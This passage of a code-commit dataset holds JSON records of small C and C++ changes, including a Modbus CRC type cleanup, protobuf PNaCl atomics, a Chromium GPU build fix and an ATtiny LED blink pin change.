BSD-like\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"65aa2240dbcd526a339a88749d3fe43b0396384f","old_file":"INPopoverController\/INPopoverControllerDefines.h","new_file":"INPopoverController\/INPopoverControllerDefines.h","old_contents":"\/\/\n\/\/  INPopoverControllerDefines.h\n\/\/  Copyright 2011-2014 Indragie Karunaratne. All rights reserved.\n\/\/\n\ntypedef NS_ENUM(NSUInteger, INPopoverArrowDirection) {\n\tINPopoverArrowDirectionUndefined = 0,\n\tINPopoverArrowDirectionLeft = NSMaxXEdge,\n\tINPopoverArrowDirectionRight = NSMinXEdge,\n\tINPopoverArrowDirectionUp = NSMaxYEdge,\n\tINPopoverArrowDirectionDown = NSMinYEdge\n};\n\ntypedef NS_ENUM(NSInteger, INPopoverAnimationType) {\n\tINPopoverAnimationTypePop = 0,\t\/\/ Pop animation similar to NSPopover\n\tINPopoverAnimationTypeFadeIn,\t\/\/ Fade in only, no fade out\n\tINPopoverAnimationTypeFadeOut,\t\/\/ Fade out only, no fade in\n\tINPopoverAnimationTypeFadeInOut \/\/ Fade in and out\n};","new_contents":"\/\/\n\/\/  INPopoverControllerDefines.h\n\/\/  Copyright 2011-2014 Indragie Karunaratne. All rights reserved.\n\/\/\n\ntypedef NS_ENUM(NSUInteger, INPopoverArrowDirection) {\n\tINPopoverArrowDirectionUndefined = 0,\n\tINPopoverArrowDirectionLeft,\n\tINPopoverArrowDirectionRight,\n\tINPopoverArrowDirectionUp,\n\tINPopoverArrowDirectionDown\n};\n\ntypedef NS_ENUM(NSInteger, INPopoverAnimationType) {\n\tINPopoverAnimationTypePop = 0,\t\/\/ Pop animation similar to NSPopover\n\tINPopoverAnimationTypeFadeIn,\t\/\/ Fade in only, no fade out\n\tINPopoverAnimationTypeFadeOut,\t\/\/ Fade out only, no fade in\n\tINPopoverAnimationTypeFadeInOut \/\/ Fade in and out\n};","subject":"Remove references to NS...Edge in enum","message":"Remove references to NS...Edge in enum\n","lang":"C","license":"bsd-2-clause","repos":"indragiek\/INPopoverController"}
{"commit":"19faea809ec3ea8a9722b0e87bb028fd23c721a1","old_file":"modlib.c","new_file":"modlib.c","old_contents":"#include \"modlib.h\"\n\nuint16_t MODBUSSwapEndian( uint16_t Data )\n{\n    \/\/Change big-endian to little-endian and vice versa\n\n    unsigned char Swap;\n\n\t\/\/Create 2 bytes long union\n    union Conversion\n    {\n        uint16_t Data;\n        unsigned char Bytes[2];\n    } Conversion;\n\n\t\/\/Swap bytes\n    Conversion.Data = Data;\n    Swap = Conversion.Bytes[0];\n    Conversion.Bytes[0] = Conversion.Bytes[1];\n    Conversion.Bytes[1] = Swap;\n\n    return Conversion.Data;\n}\n\nuint16_t MODBUSCRC16( uint16_t *Data, uint16_t Length )\n{\n\t\/\/Calculate CRC16 checksum using given data and length\n\n\tuint16_t CRC = 0xFFFF;\n\tuint16_t i;\n\tunsigned char j;\n\n\tfor ( i = 0; i < Length; i++ )\n\t{\n\t\tCRC ^= Data[i]; \/\/XOR current data byte with CRC value\n\n\t\tfor ( j = 8; j != 0; j-- )\n\t\t{\n\t\t\t\/\/For each bit\n\t\t\t\/\/Is least-significant-bit is set?\n    \t\tif ( ( CRC & 0x0001 ) != 0 )\n\t\t\t{\n    \t\t\tCRC >>= 1; \/\/Shift to right and xor\n    \t\t\tCRC ^= 0xA001;\n    \t\t}\n    \t\telse                            \/\/ Else LSB is not set\n    \t\t\tCRC >>= 1;\n\t\t}\n\t}\n\treturn CRC;\n}\n","new_contents":"#include \"modlib.h\"\n\nuint16_t MODBUSSwapEndian( uint16_t Data )\n{\n    \/\/Change big-endian to little-endian and vice versa\n\n    uint8_t Swap;\n\n\t\/\/Create 2 bytes long union\n    union Conversion\n    {\n        uint16_t Data;\n        uint8_t Bytes[2];\n    } Conversion;\n\n\t\/\/Swap bytes\n    Conversion.Data = Data;\n    Swap = Conversion.Bytes[0];\n    Conversion.Bytes[0] = Conversion.Bytes[1];\n    Conversion.Bytes[1] = Swap;\n\n    return Conversion.Data;\n}\n\nuint16_t MODBUSCRC16( uint16_t *Data, uint16_t Length )\n{\n\t\/\/Calculate CRC16 checksum using given data and length\n\n\tuint16_t CRC = 0xFFFF;\n\tuint16_t i;\n\tuint8_t j;\n\n\tfor ( i = 0; i < Length; i++ )\n\t{\n\t\tCRC ^= Data[i]; \/\/XOR current data byte with CRC value\n\n\t\tfor ( j = 8; j != 0; j-- )\n\t\t{\n\t\t\t\/\/For each bit\n\t\t\t\/\/Is least-significant-bit is set?\n    \t\tif ( ( CRC & 0x0001 ) != 0 )\n\t\t\t{\n    \t\t\tCRC >>= 1; \/\/Shift to right and xor\n    \t\t\tCRC ^= 0xA001;\n    \t\t}\n    \t\telse                            \/\/ Else LSB is not set\n    \t\t\tCRC >>= 1;\n\t\t}\n\t}\n\treturn CRC;\n}\n","subject":"Change 'unsigned character' type variables to 'uint8_t'","message":"Change 'unsigned character' type variables to 'uint8_t'\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"cfd3fbd42385ff035bfc873db0ea882ea12709a7","old_file":"src\/google\/protobuf\/stubs\/atomicops_internals_pnacl.h","new_file":"src\/google\/protobuf\/stubs\/atomicops_internals_pnacl.h","old_contents":"","new_contents":"\/\/ Protocol Buffers - Google's data interchange format\n\/\/ Copyright 2012 Google Inc.  All rights reserved.\n\/\/ http:\/\/code.google.com\/p\/protobuf\/\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/     * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/     * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ This file is an internal atomic implementation, use atomicops.h instead.\n\n#ifndef GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n#define GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n\nnamespace google {\nnamespace protobuf {\nnamespace internal {\n\ninline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr,\n                                         Atomic32 old_value,\n                                         Atomic32 new_value) {\n  return __sync_val_compare_and_swap(ptr, old_value, new_value);\n}\n\ninline void MemoryBarrier() {\n  __sync_synchronize();\n}\n\ninline Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr,\n                                       Atomic32 old_value,\n                                       Atomic32 new_value) {\n  Atomic32 ret = NoBarrier_CompareAndSwap(ptr, old_value, new_value);\n  MemoryBarrier();\n  return ret;\n}\n\ninline void Release_Store(volatile Atomic32* ptr, Atomic32 value) {\n  MemoryBarrier();\n  *ptr = value;\n}\n\ninline Atomic32 Acquire_Load(volatile const Atomic32* ptr) {\n  Atomic32 value = *ptr;\n  MemoryBarrier();\n  return value;\n}\n\n}  \/\/ namespace internal\n}  \/\/ namespace protobuf\n}  \/\/ namespace google\n\n#endif  \/\/ GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_\n","subject":"Add the missing PNaCl atomicops support.","message":"Add the missing PNaCl atomicops support.\n\n\ngit-svn-id: 54a00c96d7caad0f188abf6e0ebede48f6547068@462 630680e5-0e50-0410-840e-4b1c322b438d\n","lang":"C","license":"bsd-3-clause","repos":"tdfischer\/protobuf,tdfischer\/protobuf,tdfischer\/protobuf,tdfischer\/protobuf,tdfischer\/protobuf"}
{"commit":"1cf5ce1609ef6830483199706fcd10028ad07d2d","old_file":"apps\/examples\/nxp_example\/nxp_demo_sample_main.c","new_file":"apps\/examples\/nxp_example\/nxp_demo_sample_main.c","old_contents":"\/* ****************************************************************\n*\n* Copyright 2019 NXP Semiconductors All Rights Reserved.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n******************************************************************\/\n\n#include <tinyara\/config.h>\n\n#include <stdio.h>\n\nextern void imxrt_log_print_kernelbuffer();\n\n#ifdef CONFIG_BUILD_KERNEL\nint main(int argc, FAR char *argv[])\n#else\nint nxp_demo_sample_main(int argc, char *argv[])\n#endif\n{\n\tprintf(\"[New] nxp_demo_sample!!\\n\");\n\n\timxrt_log_print_kernelbuffer();\n\t\n\treturn 0;\n}\n","new_contents":"\/* ****************************************************************\n*\n* Copyright 2019 NXP Semiconductors All Rights Reserved.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n******************************************************************\/\n\n#include <tinyara\/config.h>\n\n#include <stdio.h>\n\nextern void imxrt_log_print_kernelbuffer();\n\n#ifdef CONFIG_BUILD_KERNEL\nint main(int argc, FAR char *argv[])\n#else\nint nxp_demo_sample_main(int argc, char *argv[])\n#endif\n{\n\tprintf(\"[New] nxp_demo_sample!!\\n\");\n\n#ifndef CONFIG_BUILD_PROTECTED\n\timxrt_log_print_kernelbuffer();\n#endif\n\treturn 0;\n}\n","subject":"Fix NXP example app for Protected build","message":"apps\/examples\/nxp_example: Fix NXP example app for Protected build\n\nRemove direct call to kernel API from NXP example app in case of\nprotected build.\n\nSigned-off-by: Kishore S N <33058dcca7ce956a91a61ef5ae8fb790ece75b5f@samsung.com>\n","lang":"C","license":"apache-2.0","repos":"Samsung\/TizenRT,jeongchanKim\/TizenRT,sunghan-chang\/TizenRT,chanijjani\/TizenRT,jsdosa\/TizenRT,an4967\/TizenRT,an4967\/TizenRT,jsdosa\/TizenRT,an4967\/TizenRT,jeongarmy\/TizenRT,Samsung\/TizenRT,junmin-kim\/TizenRT,sunghan-chang\/TizenRT,sunghan-chang\/TizenRT,chanijjani\/TizenRT,davidfather\/TizenRT,junmin-kim\/TizenRT,junmin-kim\/TizenRT,junmin-kim\/TizenRT,Samsung\/TizenRT,jsdosa\/TizenRT,an4967\/TizenRT,jeongchanKim\/TizenRT,pillip8282\/TizenRT,davidfather\/TizenRT,jeongarmy\/TizenRT,Samsung\/TizenRT,pillip8282\/TizenRT,jeongchanKim\/TizenRT,pillip8282\/TizenRT,jeongarmy\/TizenRT,jeongarmy\/TizenRT,jeongchanKim\/TizenRT,chanijjani\/TizenRT,jeongarmy\/TizenRT,Samsung\/TizenRT,davidfather\/TizenRT,chanijjani\/TizenRT,davidfather\/TizenRT,pillip8282\/TizenRT,jsdosa\/TizenRT,jsdosa\/TizenRT,davidfather\/TizenRT,jsdosa\/TizenRT,chanijjani\/TizenRT,davidfather\/TizenRT,jsdosa\/TizenRT,an4967\/TizenRT,pillip8282\/TizenRT,sunghan-chang\/TizenRT,pillip8282\/TizenRT,pillip8282\/TizenRT,junmin-kim\/TizenRT,jeongchanKim\/TizenRT,sunghan-chang\/TizenRT,davidfather\/TizenRT,jeongchanKim\/TizenRT,Samsung\/TizenRT,sunghan-chang\/TizenRT,junmin-kim\/TizenRT,Samsung\/TizenRT,an4967\/TizenRT,junmin-kim\/TizenRT,jeongchanKim\/TizenRT,chanijjani\/TizenRT,jeongarmy\/TizenRT,sunghan-chang\/TizenRT,chanijjani\/TizenRT,jeongarmy\/TizenRT,an4967\/TizenRT"}
{"commit":"5d482ef3550d124297fb641597774d9c1a994621","old_file":"src\/ippusbd.c","new_file":"src\/ippusbd.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"http\/http.h\"\n\nint main(int argc, char *argv[])\n{\n\thttp_sock *sock = open_http();\n\tif (sock == NULL)\n\t\tgoto cleanup;\n\n\t\/\/ TODO: print port then fork\n\tuint32_t port = get_port_number(sock);\n\tprintf(\"%u\\n\", port);\n\n\twhile (1) {\n\t\thttp_conn *conn = accept_conn(sock);\n\t\tif (conn == NULL) {\n\t\t\tERR(\"Opening connection failed\");\n\t\t\tgoto conn_error;\n\t\t}\n\n\t\tmessage *msg = get_message(conn);\n\t\tif (msg == NULL) {\n\t\t\tERR(\"Generating message failed\");\n\t\t\tgoto conn_error;\n\t\t}\n\n\t\tpacket *pkt = get_packet(msg);\n\t\tif (pkt == NULL) {\n\t\t\tERR(\"Receiving packet failed\");\n\t\t\tgoto conn_error;\n\t\t}\n\n\t\tprintf(\"%.*s\", (int)pkt->size, pkt->buffer);\n\n\tconn_error:\n\t\tif (conn != NULL)\n\t\t\tfree(conn);\n\t\tif (msg != NULL)\n\t\t\tfree(msg);\n\t}\n\ncleanup:\n\tif (sock != NULL)\n\t\tclose_http(sock);\n\n\treturn 1;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"http\/http.h\"\n\nint main(int argc, char *argv[])\n{\n\thttp_sock *sock = open_http();\n\tif (sock == NULL)\n\t\tgoto cleanup;\n\n\t\/\/ TODO: print port then fork\n\tuint32_t port = get_port_number(sock);\n\tprintf(\"%u\\n\", port);\n\n\twhile (1) {\n\t\thttp_conn *conn = accept_conn(sock);\n\t\tif (conn == NULL) {\n\t\t\tERR(\"Opening connection failed\");\n\t\t\tgoto conn_error;\n\t\t}\n\n\t\tmessage *msg = get_message(conn);\n\t\tif (msg == NULL) {\n\t\t\tERR(\"Generating message failed\");\n\t\t\tgoto conn_error;\n\t\t}\n\n\t\tpacket *pkt = get_packet(msg);\n\t\tif (pkt == NULL) {\n\t\t\tERR(\"Receiving packet failed\");\n\t\t\tgoto conn_error;\n\t\t}\n\n\t\tprintf(\"%.*s\", (int)pkt->size, pkt->buffer);\n\n\tconn_error:\n\t\tif (conn != NULL)\n\t\t\tfree(conn);\n\t\tif (msg != NULL)\n\t\t\tfree(msg);\n\t}\n\ncleanup:\n\tif (sock != NULL)\n\t\tclose_http(sock);\n\n\treturn 0;\n}\n","subject":"Fix main exiting with error code on error-less run","message":"Fix main exiting with error code on error-less run\n\nComandline programs expect 0 as errror-less return\nvalue. This is in contrast to C where we treat 0\nor NULL as an error token.\n","lang":"C","license":"apache-2.0","repos":"daniel-dressler\/ippusbxd,tillkamppeter\/ippusbxd"}
{"commit":"bf67ee6399ea6fa8cb3723d29f44c5c6a4d5f118","old_file":"attiny-blink\/main.c","new_file":"attiny-blink\/main.c","old_contents":"\/* Name: main.c\n * Author: <insert your name here>\n * Copyright: <insert your copyright message here>\n * License: <insert your license reference here>\n *\/\n\n\/\/ A simple blinky program for ATtiny85\n\/\/ Connect red LED at pin 2 (PB3)\n\/\/\n\n#include <avr\/io.h>\n#include <util\/delay.h>\n\n\nint main (void)\n{\n    \/\/ set PB3 to be output\n    DDRB = 0b00001000;\n    while (1) {\n        \n        \/\/ flash# 1:\n        \/\/ set PB3 high\n        PORTB = 0b00001000;\n        _delay_ms(200);\n        \/\/ set PB3 low\n        PORTB = 0b00000000;\n        _delay_ms(200);\n        \n        \/\/ flash# 2:\n        \/\/ set PB3 high\n        PORTB = 0b00001000;\n        _delay_ms(1000);\n        \/\/ set PB3 low\n        PORTB = 0b00000000;\n        _delay_ms(1000);\n        \n        \/\/ flash# 3:\n        \/\/ set PB3 high\n        PORTB = 0b00001000;\n        _delay_ms(3000);\n        \/\/ set PB3 low\n        PORTB = 0b00000000;\n        _delay_ms(3000);\n    }\n    \n    return 1;\n}","new_contents":"\/* Name: main.c\n * Author: <insert your name here>\n * Copyright: <insert your copyright message here>\n * License: <insert your license reference here>\n *\/\n\n\/\/ A simple blinky program for ATtiny85\n\/\/ Connect red LED at pin 3 (PB4)\n\/\/\n\n#include <avr\/io.h>\n#include <util\/delay.h>\n\n\nint main (void)\n{\n    \/\/ set PB4 to be output\n    DDRB = 0b00001000;\n    while (1) {\n\n        \/\/ flash# 1:\n        \/\/ set PB4 high\n        PORTB = 0b00010000;\n        _delay_ms(200);\n        \/\/ set PB4 low\n        PORTB = 0b00000000;\n        _delay_ms(200);\n\n        \/\/ flash# 2:\n        \/\/ set PB4 high\n        PORTB = 0b00010000;\n        _delay_ms(1000);\n        \/\/ set PB4 low\n        PORTB = 0b00000000;\n        _delay_ms(1000);\n\n        \/\/ flash# 3:\n        \/\/ set PB4 high\n        PORTB = 0b00010000;\n        _delay_ms(3000);\n        \/\/ set PB4 low\n        PORTB = 0b00000000;\n        _delay_ms(3000);\n    }\n\n    return 1;\n}\n","subject":"Change blink program to use pb4 since that's the pin the test LED is wired to on my programming board","message":"Change blink program to use pb4 since that's the pin the test LED\nis wired to on my programming board\n","lang":"C","license":"mit","repos":"thecav\/avr-projects"}
{"commit":"b22391787ec21c5d40e545a59ad5780ea8f03868","old_file":"chrome\/gpu\/gpu_config.h","new_file":"chrome\/gpu\/gpu_config.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_GPU_GPU_CONFIG_H_\n#define CHROME_GPU_GPU_CONFIG_H_\n\n\/\/ This file declares common preprocessor configuration for the GPU process.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_LINUX) && !defined(ARCH_CPU_X86)\n\n\/\/ Only define GLX support for Intel CPUs for now until we can get the\n\/\/ proper dependencies and build setup for ARM.\n#define GPU_USE_GLX\n\n#endif\n\n#endif  \/\/ CHROME_GPU_GPU_CONFIG_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_GPU_GPU_CONFIG_H_\n#define CHROME_GPU_GPU_CONFIG_H_\n\n\/\/ This file declares common preprocessor configuration for the GPU process.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_LINUX) && defined(ARCH_CPU_X86)\n\n\/\/ Only define GLX support for Intel CPUs for now until we can get the\n\/\/ proper dependencies and build setup for ARM.\n#define GPU_USE_GLX\n\n#endif\n\n#endif  \/\/ CHROME_GPU_GPU_CONFIG_H_\n","subject":"Fix stupid error for Linux build.","message":"Fix stupid error for Linux build.\n\nTEST=none\nBUG=none\nReview URL: http:\/\/codereview.chromium.org\/555096\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@37093 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ropik\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium"}
{"commit":"947c20e1a982439cc3682234b34c8d3611d9251c","old_file":"src\/lassert.h","new_file":"src\/lassert.h","old_contents":"\/*\n * Copyright (C) 2007\n *  Jacob Berkman\n * Copyright (C) 2008\n *  Ludovic Rousseau <ludovic.rousseau@free.fr>\n *\/\n\n#ifndef LASSERT_H\n#define LASSERT_H\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#if 0\n#define FAIL exit (1)\n#else\n#define FAIL return 1\n#endif\n\n#define LASSERT(cond)                                                   \\\n    ({                                                                  \\\n        if (cond)                                                       \\\n            ;                                                           \\\n        else {                                                          \\\n            fprintf (stderr, \"%s:%d: assertion FAILED: \" #cond \"\\n\",    \\\n                     __FILE__, __LINE__);                               \\\n            FAIL;                                                       \\\n        }                                                               \\\n    })\n\n#define LASSERTF(cond, fmt, a...)                                       \\\n    ({                                                                  \\\n        if (cond)                                                       \\\n            ;                                                           \\\n        else {                                                          \\\n            fprintf (stderr, \"%s:%d: assertion FAILED: \" #cond \": \" fmt, \\\n                     __FILE__, __LINE__, ## a);                         \\\n            FAIL;                                                       \\\n        }                                                               \\\n    })\n\n#endif \/* LASSERT_H *\/\n","new_contents":"\/*\n * Copyright (C) 2007\n *  Jacob Berkman\n * Copyright (C) 2008\n *  Ludovic Rousseau <ludovic.rousseau@free.fr>\n *\/\n\n#ifndef LASSERT_H\n#define LASSERT_H\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#if 0\n#define FAIL exit (1)\n#else\n#define FAIL return 1\n#endif\n\n#define LASSERT(cond)                                                   \\\n    ({                                                                  \\\n        if (! (cond))                                                     \\\n        {                                                               \\\n            fprintf (stderr, \"%s:%d: assertion FAILED: \" #cond \"\\n\",    \\\n                     __FILE__, __LINE__);                               \\\n            FAIL;                                                       \\\n        }                                                               \\\n    })\n\n#define LASSERTF(cond, fmt, a...)                                       \\\n    ({                                                                  \\\n        if (! (cond))                                                     \\\n        {                                                               \\\n            fprintf (stderr, \"%s:%d: assertion FAILED: \" #cond \": \" fmt, \\\n                     __FILE__, __LINE__, ## a);                         \\\n            FAIL;                                                       \\\n        }                                                               \\\n    })\n\n#endif \/* LASSERT_H *\/\n","subject":"Fix splint error src\/pcsc-wirecheck-dist.c:19:164: Body of if clause of if statement is empty","message":"Fix splint error\nsrc\/pcsc-wirecheck-dist.c:19:164: Body of if clause of if statement is empty\n\n\ngit-svn-id: f2d781e409b7e36a714fc884bb9b2fc5091ddd28@4755 0ce88b0d-b2fd-0310-8134-9614164e65ea\n","lang":"C","license":"bsd-3-clause","repos":"vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android,vicamo\/pcsc-lite-android"}
{"commit":"3fb9e3a841f15e5c84a860f5a3836fce628adfea","old_file":"genlib\/delput.c","new_file":"genlib\/delput.c","old_contents":"void\ndelput(float x, float *a, int *l)\n{\n\n\/* put value in delay line. See delset. x is float *\/\n\n\t*(a + (*l)++) = x;\n\tif(*(l) >= *(l+1)) *l -= *(l+1);\n}\n","new_contents":"\/* put value in delay line. See delset. x is float *\/\nvoid\ndelput(float x, float *a, int *l)\n{\n\tint index = l[0];\n\ta[index] = x;\n\tl[0]++;\n\tif (l[0] >= l[2])\n\t\tl[0] -= l[2];\n}\n","subject":"Update to new bookkeeping array format.","message":"Update to new bookkeeping array format.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"21bdc56b1b94dcfc9badf80b544ac7b28155aa18","old_file":"include\/error.h","new_file":"include\/error.h","old_contents":"#ifndef CPR_ERROR_H\n#define CPR_ERROR_H\n\n#include <string>\n\n#include \"cprtypes.h\"\n#include \"defines.h\"\n\nnamespace cpr {\n\nenum class ErrorCode {\n    OK = 0,\n    CONNECTION_FAILURE,\n    EMPTY_RESPONSE,\n    HOST_RESOLUTION_FAILURE,\n    INTERNAL_ERROR,\n    INVALID_URL_FORMAT,\n    NETWORK_RECEIVE_ERROR,\n    NETWORK_SEND_FAILURE,\n    OPERATION_TIMEDOUT,\n    PROXY_RESOLUTION_FAILURE,\n    SSL_CONNECT_ERROR,\n    SSL_LOCAL_CERTIFICATE_ERROR,\n    SSL_REMOTE_CERTIFICATE_ERROR,\n    SSL_CACERT_ERROR,\n    GENERIC_SSL_ERROR,\n    UNSUPPORTED_PROTOCOL,\n    UNKNOWN_ERROR = 1000,\n};\n\nclass Error {\n  public:\n    Error() : code{ErrorCode::OK} {}\n\n    template <typename TextType>\n    Error(const ErrorCode& p_error_code, TextType&& p_error_message)\n            : code{p_error_code}, message{CPR_FWD(p_error_message)} {}\n\n    explicit operator bool() const {\n        return code != ErrorCode::OK;\n    }\n\n    ErrorCode code;\n    std::string message;\n\n  private:\n    static ErrorCode getErrorCodeForCurlError(int curl_code);\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_ERROR_H\n#define CPR_ERROR_H\n\n#include <string>\n\n#include \"cprtypes.h\"\n#include \"defines.h\"\n\nnamespace cpr {\n\nenum class ErrorCode {\n    OK = 0,\n    CONNECTION_FAILURE,\n    EMPTY_RESPONSE,\n    HOST_RESOLUTION_FAILURE,\n    INTERNAL_ERROR,\n    INVALID_URL_FORMAT,\n    NETWORK_RECEIVE_ERROR,\n    NETWORK_SEND_FAILURE,\n    OPERATION_TIMEDOUT,\n    PROXY_RESOLUTION_FAILURE,\n    SSL_CONNECT_ERROR,\n    SSL_LOCAL_CERTIFICATE_ERROR,\n    SSL_REMOTE_CERTIFICATE_ERROR,\n    SSL_CACERT_ERROR,\n    GENERIC_SSL_ERROR,\n    UNSUPPORTED_PROTOCOL,\n    UNKNOWN_ERROR = 1000,\n};\n\nclass Error {\n  public:\n    Error() : code{ErrorCode::OK} {}\n\n    template <typename TextType>\n    Error(const int& curl_code, TextType&& p_error_message)\n            : code{getErrorCodeForCurlError(curl_code)}, message{CPR_FWD(p_error_message)} {}\n\n    explicit operator bool() const {\n        return code != ErrorCode::OK;\n    }\n\n    ErrorCode code;\n    std::string message;\n\n  private:\n    static ErrorCode getErrorCodeForCurlError(int curl_code);\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Make constructor for taking in curl code as the first argument","message":"Make constructor for taking in curl code as the first argument\n","lang":"C","license":"mit","repos":"SuperV1234\/cpr,whoshuu\/cpr,whoshuu\/cpr,SuperV1234\/cpr,msuvajac\/cpr,whoshuu\/cpr,msuvajac\/cpr,msuvajac\/cpr,SuperV1234\/cpr"}
{"commit":"596412310fc7bdf9af2eacfeb4c281d544c2195e","old_file":"include\/polar\/support\/audio\/waveshape.h","new_file":"include\/polar\/support\/audio\/waveshape.h","old_contents":"#pragma once\n\n#include <array>\n\nclass WaveShape {\n  public:\n\tstatic const unsigned int granularity = 12;\n\tstatic const int16_t size             = 1 << granularity;\n\tstd::array<int16_t, size> table       = {{0}};\n};\n\ninline WaveShape MkSineWaveShape() {\n\tWaveShape waveShape;\n\tfor(unsigned int i = 0; i < WaveShape::size; ++i) {\n\t\tdouble sample = sin(i * 2.0 * 3.14159265358979 \/ WaveShape::size);\n\t\twaveShape.table[i] =\n\t\t    static_cast<int16_t>((sample + 1) * 32767.0 - 32768.0);\n\t}\n\treturn waveShape;\n}\n\ninline WaveShape MkSquareWaveShape() {\n\tWaveShape waveShape;\n\tfor(unsigned int i = 0; i < WaveShape::size; ++i) {\n\t\tdouble sample = i * 2 < WaveShape::size ? 1.0 : -1.0;\n\t\twaveShape.table[i] =\n\t\t    static_cast<int16_t>((sample + 1) * 32767.0 - 32768.0);\n\t}\n\treturn waveShape;\n}\n","new_contents":"#pragma once\n\n#include <array>\n#include <polar\/math\/constants.h>\n\nclass WaveShape {\n  public:\n\tstatic const unsigned int granularity = 12;\n\tstatic const int16_t size             = 1 << granularity;\n\tstd::array<int16_t, size> table       = {{0}};\n};\n\ninline WaveShape MkSineWaveShape() {\n\tWaveShape waveShape;\n\tfor(unsigned int i = 0; i < WaveShape::size; ++i) {\n\t\tdouble sample = sin(i * 